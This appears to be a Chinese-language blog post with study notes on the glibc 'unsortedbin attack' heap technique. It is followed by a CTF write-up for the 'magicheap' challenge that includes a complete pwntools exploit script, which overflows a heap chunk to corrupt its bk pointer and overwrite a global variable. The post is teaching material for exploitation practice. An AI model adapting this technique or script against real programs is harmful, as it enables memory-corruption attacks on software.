0%

unsortedbin attack

基础知识

针对类型

需要修改任意地址位一个较大的值

  1. 修改循环次数,执行多次循环
  2. 修改heap的global_max_fast(使得更大的chunk可以视为fastbin)

步骤

可修改unsortedbin的bk指针

方法

得到unsortbin方法

  1. 一个大的chunk被分割 => 剩下的部分大于MINISIZE
  2. 释放一个不属于fastbin的chunk,该chunk不和top chunk相邻
  3. 进行malloc_consolidate,合并后的chunk放入unsortbin,且该chunk不和top chunk相邻

unosortbin链

  1. 采用FIFO的顺序
  2. 若fastbin和smallbin中没有对应大小块,则从unsortbin中取

main_arena => libc_base

因为main_arena和__malloc_hook只相差0x10,所以

1
libc_base = main_arena - 0x10 - libc.sym['__malloc_hook']

unsortedbin attack

当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。

步骤

  1. 将一个chunk放入unsortedbin中
  2. 修改该chunk的bk指针为target-0x10
  3. 申请该大小的chunk

结果

修改target地址的值为&main_arena+0x88

题目

hitcontraining_magicheap

分析

  1. 存在后门函数,只要修改magic的大小>0x1305即可,故使用unsortedbin
  2. edit的size自己输入,存在堆溢出,故可以修改bk指针。

思路

  1. 申请三个块

    chunk1是为了堆溢出修改第二个块的bk

    chunk2主要进行unsortbin attack

    chunk3防止和top chunk合并

  2. 释放chunk2

    chunk申请大小0x100,大于fastbin大小,从而进入unsortbin链

  3. 堆溢出chunk1,修改chunk2的bk指针

    修改位magic-0x10的位置

  4. 重新申请0x100的大小,从而将chunk2从unsortbin中取出,从而向bk指向的地址写入&main_arena+0x88

  5. 进入后门函数

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding = utf-8
from pwn import *
context.log_level = 'debug'
file = "magicheap"

local=0
#local libc
if local == 0:
p = process("./"+file)
elf = ELF("./"+file)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

#debug libc
elif local == 1:
p = process(["/usr/local/glibc-2.23/lib/ld-2.23.so", "./"+file],
env={"LD_PRELOAD":"/usr/local/glibc-2.23/lib/libc-2.23.so"})
elf = ELF("./file")
libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")

#remote
elif local == 2:
p = remote()
elf = ELF("./"+file)
libc = ELF("./libc-2.23.so")

def cmd(choice):
p.recvuntil("Your choice :")
p.sendline(str(choice))

def add(size,content):
cmd(1)
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)

def edit(idx,size,content):
cmd(2)
p.recvuntil("Index :")
p.sendline(str(idx))
p.recvuntil("Size of Heap :")
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(content)

def delete(idx):
cmd(3)
p.recvuntil("Index :")
p.sendline(str(idx))

magic = 0x006020A0 - 0x10
add(0x30,'aaaa')
add(0x100,'aaaa')
add(0x30,'aaaa')
delete(1)
payload = 'a'*0x30
payload += p64(0) + p64(0x111)
payload += p64(0) + p64(magic)
edit(0,len(payload),payload)
add(0x100,'aaa')

cmd(0x1305)
# gdb.attach(p)
# pause()
p.interactive()

下载

附件

2016_0CTF_zerostorage

Q:如果阅读本文需要付费,你是否愿意为此支付1元?